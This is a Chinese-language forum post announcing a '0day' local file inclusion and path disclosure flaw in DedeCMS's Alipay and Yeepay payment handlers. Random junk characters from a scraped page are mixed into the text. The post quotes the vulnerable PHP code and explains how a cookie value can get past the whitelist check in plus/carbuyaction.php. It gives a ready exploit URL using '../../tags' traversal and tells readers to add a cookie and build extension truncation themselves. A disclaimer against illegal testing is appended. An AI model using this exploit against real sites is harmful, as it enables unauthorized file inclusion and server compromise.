dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

+ k" i& D. Q4 h6 c/ \; `出现漏洞的两个文件为：
* M& N9 h2 A  {: O# W8 x/ uInclude/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
; C3 B6 `) R: ~5 ?$ n% s0 S! Z3 S
Include/payment/alipay.php

/ y1 o% Q" K( j3 ^* S! c4 T' w......
   function respond()
! l  h$ ^+ r3 y5 ]    {
        if (!empty($_POST))
        {
& p9 y; a2 X+ e  \5 r5 ~5 q) f            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
, T4 w$ m2 N! p* H8 O: [            }
2 Z" c, j( r) [+ w# n        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......
5 t* u/ g8 g' y* C& G* m; Y

: P3 }" q1 g  V大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
6 B3 \) I6 h; Y" h0 B
2 O/ ]: g+ a( `/ F$ ~Include/payment/yeepay.php



: Q' p  `5 `& W) J% S4 ?0 y......
7 l; T3 y6 P0 R    function respond()
4 K3 M: f; A2 U: B  k0 @" [; y    {

        /* 引入配置文件 */
# H9 M9 h% q$ }: c' @6 p; a7 \        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
; d+ z: x1 \9 R0 g* n) J4 o9 B
        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
0 C; s6 ]( K3 b! f

1 x: h2 [; p' m' v! s

6 }$ T0 M  W: {1 q* c* w大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

( g8 V6 L9 a$ o7 p  V/ m这两个方法在plus/carbuyaction.php文件调用。
2 l. c1 D) m4 T! h$ O" b( I
plus/carbuyaction.php

3 t, F' h9 T2 ?) j......
% U8 ~8 P* y4 f/ C3 q$ |} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
4 `8 |% A8 `/ s& `5 R. `    } else {
; b4 h0 N* K; Q$ ~- b3 T" [        exit('Error:File Type Can\'t Recognized!');
3 [( s( S1 P( S& Y( V) a( ?7 g5 B; {    }
- o; N, {* u* m8 j% d7 y4 |}
& Z6 U7 t7 W  k. O" z......

0 x. z7 p/ V3 f6 v8 I" i/ g4 [
' A! _3 Z- G* [
' W  S8 R) k2 M6 K7 y3 u8 [
$ Q) s4 _, ?( h% W! L
9 ~6 Z' c* f1 B2 r/ x1 A
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
" ?4 `/ j% F& v6 a% k+ m所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

) N* g$ X9 }" W% O5 L回到include/common.inc.php来看看他的机制。

$ \' o6 Q3 Q: H

) d! [- n  Q& m5 `......
/ Z. F4 C6 H* Fforeach(Array('_GET','_POST','_COOKIE') as $_request)
, v2 K% [) ?- x9 ?8 E; N8 a) Z) F. N3 }{
        foreach($$_request as $_k => $_v)
' @5 P5 l& R% O        {
                if($_k == 'nvarname') ${$_k} = $_v;
" e; o" v4 e$ Q) e" y- @0 B                else ${$_k} = _RunMagicQuotes($_v);
        }
/ m7 P6 n$ j5 L, ~& s" j}
......
" Q6 W: ~' K5 _7 J: Z大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
0 U1 R! P: w5 Q* i- l/ q& }# p8 h由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。